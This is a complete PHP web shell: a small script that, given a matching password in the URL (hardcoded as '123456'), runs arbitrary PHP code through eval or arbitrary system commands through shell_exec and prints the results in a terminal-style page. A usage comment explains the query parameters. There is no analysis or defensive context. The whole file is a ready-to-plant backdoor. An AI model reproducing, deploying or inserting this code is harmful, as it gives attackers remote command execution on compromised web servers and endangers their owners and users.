<?php /* Use: Change the $password. ?pwd=[password]&php=[php_code] ?pwd=[password]&cmd=[cmd_code] */ $password = "123456"; // change this password $a = addslashes($_GET['pwd']); if($password!=$a) { exit; } $b = $_SERVER["DOCUMENT_ROOT"]; if(isset($_GET['php'])) { echo "<html><head><title>".$b."</title></head>"; echo "<body bgcolor='black'><font face='Courier New' color='white'>"; eval($_GET['php']); echo "</font></body></html>"; } if(isset($_GET['cmd'])) { echo "<html><head><title>".$b."</title></head>"; echo "<body bgcolor='black'><font face='Courier New' color='white'>"; echo "<pre>"; echo htmlspecialchars(shell_exec($_GET['cmd'])); echo "</pre>"; echo "</font></body></html>"; } ?>